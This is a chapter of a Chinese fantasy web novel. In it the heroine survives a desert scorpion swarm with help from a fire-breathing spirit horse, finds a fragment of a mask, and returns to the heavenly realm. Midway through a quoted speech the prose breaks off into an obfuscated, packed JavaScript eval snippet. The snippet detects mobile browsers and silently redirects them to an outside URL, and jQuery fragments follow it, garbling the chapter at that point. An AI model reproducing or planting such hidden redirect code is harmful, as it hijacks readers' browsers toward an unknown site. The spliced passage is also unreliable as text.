32. 再入天界
作品:《浮世隐》 慕涣然的意识先于身体苏醒,一种近乎灼烧的干渴扼住了她的喉咙,若此刻张开口,好似能从体内喷出道火焰来。
她艰难地掀开眼睑,晴空不知何时被黑夜所取代,蓦地撞入视野,星辰低垂得仿佛抬起手便能摘下一颗。
身下是白日被太阳炙烤后、此刻正缓缓释放着余温的沙粒,细腻、微凉。
四野寂静,唯有风吹过沙丘的呜咽声,清晰得令人心慌。
在她彻底清醒后,第一件事就是立刻扭动了全身的关节,试试哪里有知觉,更害怕哪里没了知觉。
若是此刻有人经过,会不会觉得她像只在沙海里挣扎的、翻了盖的螃蟹?一个荒唐的念头不合时宜地蹦了出来。
万幸,最坏的情况并未发生。肢体完好,只是有些轻微地淤青和擦伤。
她撑着酸软的身体坐起,再次环顾。
目之所及,是一片一望无际的沙漠,沙丘连绵起伏,最大的如同一座小山一般横亘在不远处。
“那里乃是一片绝境,人称‘苦沙海’。”
慕涣然想到那日在老秦住处,楚恒一句带过的风州西部。
这人面蛾的翅膀居然能煽动出这么大的风力?竟能将她从东部的赫风都直接吹到了这里!
四周风沙的呜咽声愈来愈大,也愈来愈密,不像一阵风而过,而是持续的,似数道风同时刮过的声响。
不对——
慕涣然忙趴下身,不敢发出任何动静,只静静地在黑夜中,借助星光的亮度,搜寻着那异常的声响。
只见前方那隆起的山丘后,一片移动的“黑色幕布”正漫过丘顶,朝着她所在的方向延展而来!
她屏息凝视,待视线聚焦的刹那,浑身像被电流击穿般麻栗发寒!
那不是什么幕布,是密密麻麻、数以万计的蝎群!它们窸窣前行,正朝着她这唯一的活物合围!
曾经慕涣然只在电视上见过沙漠行军蚁群,所过之处若有猎物,瞬间就会将其啃噬的只剩下一具白骨。
而这蝎群的架势,有过之而无不及!
容不得细想,那片黑幕以飞快地速度蔓了过来。
她毫不犹豫地挥舞双腕,试图用花芳同绾逃离此地。然而,清风只将她向侧后方推出了十几米!
“不会吧?!”慕涣然啐了一句,兴许是那紫灰色人面蛾的粉末,压制了她的法力!
蝎群仿佛锁定了她这个目标,竟齐刷刷拐了一个弯,再次如潮水般涌来!
怎么回事?!这是饿了多久啊?可算见到她这个活物了,绝不能放过是吧?!
她再次奋力挥动手腕,这次,只挪动了寥寥数米。
再挥!左右挥!上下挥!再无半点反应!
她终于明白了,抽烟的人在想点一根前,仅有的那支打火机偏偏失灵打不着火的感觉。
就在心灰意冷之际,希望之火却自她身后腾空而起!
她甚至没听到马蹄声,只见一匹神骏从天而降,马身自头颅至马尾,骤然燃起橙红色的火焰,顷刻间化为浴火天马!
前蹄踏落沙地的轻响,伴随着一声清越长鸣,炽烈的火焰自它口中喷涌而出,如长龙般扫向迫近的蝎群!
顿时,空中焦香四溢。
未被火焰吞噬的蝎群意识到危险降临,惊慌失措地向两侧逃窜,瞬间溃散。
“太帅了吧!”慕涣然望着那神马燃烧的背影,由衷轻叹。
它仿佛听懂了这声赞美,转身向她走来。
周身烈焰随着步伐渐次熄灭,露出了本来面目——浅沙色的皮毛流转着绸缎般的光泽,肌肉线条流畅有力,银白色的鬃毛与长尾如月华倾泻。
是灵物!——慕涣然一眼认出了它额间那抹独特的金色纹路。
她情不自禁地伸出手,想要触摸那梦幻般的皮毛。神马竟顺从地低下头,温热的鼻息拂过她的掌心,主动将脸颊贴了上来。
“可以带我离开这里吗?”她抱着试一试的心态,轻声商量。
神马那双泛着珍珠柔光的马瞳瞥了她一眼,随即向前两步,优雅地侧过身,将宽阔的马背展露在她面前。
慕涣然利落地翻身上马,刚坐稳,神马便倏然启动,速度快得超乎想象!
她身子猛地一晃,险些栽落,慌忙俯身抱紧它肌肉坚实的脖颈。
然而,它并未径直带她离开苦沙海,而是载着她停在了一处隐藏在沙丘环抱中的绿洲湖泊旁。
话音未落,神马猛地发力,径直冲向湖面!
“你要干什么?!”她失声惊呼,差点就要松手跳马!
低头间,却瞥见银白色的冰晶自它蹄下蔓延,所踏之处,湖面瞬间凝结成一条晶莹的冰桥!
直至驮着她停至湖心,冰桥才止住延伸。
慕涣然不敢下马,只在马背上俯身而望,却被神马驮着在原地转起圈来。
“不要再转啦。”涣然被晃得头晕,直起身缓了缓,才察觉它似乎是围绕着湖心某处打转。
她心念一动,用脚跟轻轻叩了叩马腹。
神马明了,立刻停了下来。
她小心翼翼地翻身下马,脚尖先试探性地点了点冰面,确认坚实无比,才敢完全站上去。
“你千万别走啊。”她不放心地嘱咐,生怕这唯一的依靠连同冰面一起消失。
神马低下头,鼻子轻轻抵在刚才反复圈绕的冰面中心。
隔着乳白色的冰面,她只能看到,冰面之下,似有一块黑影。
她用手拂了拂冰面上的浮霜,咧咧嘴:“哎哟,这是真的冰呀,真够冷的。”
说罢站起身来,又对着神马说道:“你是想让我看这个下面的东西吗?”
神马歪过头,嚏了个响鼻,以示回答。
“可我没法凿开这么厚的冰啊。”她无奈地摊手。
只见神马后退半步,前蹄高高扬起,裹挟着千钧之力,轰然踏下!
“嘭!”一声闷响,冰层应声破裂,碎冰四溅。
慕涣然眼疾手快,俯身伸手一捞,便将冰下那物抓了上来。
她拿到眼前一看,“这是......木头?”
那是一块深色的、不规则的三角形木片,只有掌心三分之一大小,边缘像是碎裂所致,上面还残留着不完整的纹路。
她又捏着前后反转了一下,厚度并不宽,甚至还有微微的弧度。
一时间倒叫她觉得有些眼熟。
冰面寒气刺骨,慕涣然不敢久留,迅速回到马背上。
上马时,腰间被一个硬物硌了一下。她顺手摸去,是那面一直带在身边的“降神面具”。
等等,面具?
一个激灵闪过脑海!
回到湖岸她立刻滑下马背,将手中的木片与降神面具并排放在一起比较。
除了颜色与纹路迥异,那木质的质感、厚度,尤其是那微妙的弧度,几乎一模一样!
“天界先前也发生了一场动荡,致使几件法器流落凡间。这法器有三,皆为面具。分作‘一神、一魔、一长生’。人界的这场祸劫,便是这魔面所致,它魔化了人的一魄,导致人界的九州生出七种魔物来;那神面呢,却有斩妖除魔、治病
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421532|181894||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
救人的能耐;至于这长生面具,更能保得肉身不死、长生不老呢!”
云藏附身老伯说的话,再次回荡在慕涣然的脑海中。
这该不会是长生面具吧?可是它怎么会只剩这一角呢?难不成...她看着碎片那不规则的边角,不像人为切割,更像是——碎裂所致。
“神器难道还会坏掉吗?”惊疑不定间,她下意识地将降神面具举到眼前细看。
就在这一瞬,面具上金色的纹路,极其微弱地闪烁了一下!
慕涣然以为自己看错了,又晃了晃,金纹再次一闪,她心下凛然,忙将其戴在脸上。
熟悉的眩晕感再次来袭,整个人天旋地转起来,身体像被一阵无形的力量急速推向高空。
待一切平息,她发现自己正趴在地上。预料中的流云并未出现,待双手撑住地面扬起头时,却发现自己竟置身于浮生溯岸边的花海之中。
这次自己居然没从天门进入,而是直接出现在这里。
“云藏?”她叫了一声。
无人回应。
明知他不在,但在这陌生的天界,他是她唯一认识的名字。
不,还有一位。
七君神殿前。
好在花芳同绾在天界恢复了灵力,带她一路来到这里,也幸得自己还认识路,省去了许多不必要的麻烦。
慕涣然并未贸然进入,而是隐在门侧的阴影里,仔细观察。院内静悄悄的,不见人影。
她深吸一口气,迈步踏入。
院落极为开阔,中央一棵冠盖如云的古树,枝叶尽是灿烂的金色。
四周环绕着七座巍峨殿宇,虽只两层,却层高闳阔,外墙流淌着七种颜色的光晕,如同组成了一道霓虹。
慕涣然站在院子中央,感觉自己缩小了好几倍。
“大人最讨厌啦,每次出门都不带我,只叫我留下来替您...”一个熟悉的、带着抱怨的童音从灵觉殿方向传来。慕涣然循声望去,只见那个红色的剪纸小人——镂童,正嘟嘟囔囔地走出来。
“你好。”慕涣然出声招呼。
“我的七君大人啊!”镂童夸张地用一双小手捂住胸口(尽管它并没有五官),薄薄的身体猛地向后一仰,语气充满了惊吓,"你...你怎么又来了?"
很好,它还记得她,那事情就好办了。
“请问,今日哪位真君在殿中?”慕涣然保持着礼貌。
镂童立刻挺起它那红色的纸片胸膛,虽然高度还不及慕涣然的腰际。
“咳...都不在。”它没好气的说,“你是凡人,是不允许来这里的!”
慕涣然俯下身,凑近那张平整又光滑的“脸”,声音带着几分戏谑:“小朋友,在天界也可以说谎吗?”
“谁...谁是小朋友!不在就是不在。”它别过那薄薄的片头,纸片边缘都因为激动而微微颤抖。
“好啊。”慕涣然直起身,故作淡然。“那我就在门口等,等灵觉真君回来的时候,我就告诉他,有位叫镂童的小朋友可是对他有一肚子的怨气呢。”她念到“灵觉真君”时,特意确认了一眼殿门上的匾额。
“我没有!”镂童慌得手舞足蹈,极力证明自己的忠心。
慕涣然嫣然一笑,“你若帮我引见真君,我便替你保守这个秘密。”
她直起身,瞧着镂童慌张的样子,心中正觉有趣,忽闻身后一声轻唤。
“镂童!”
慕涣然倏然回头,只见净无殿门口,不知何时,立着一个身影——身量极高,恐有三米,静静地俯瞰着院中的一切。

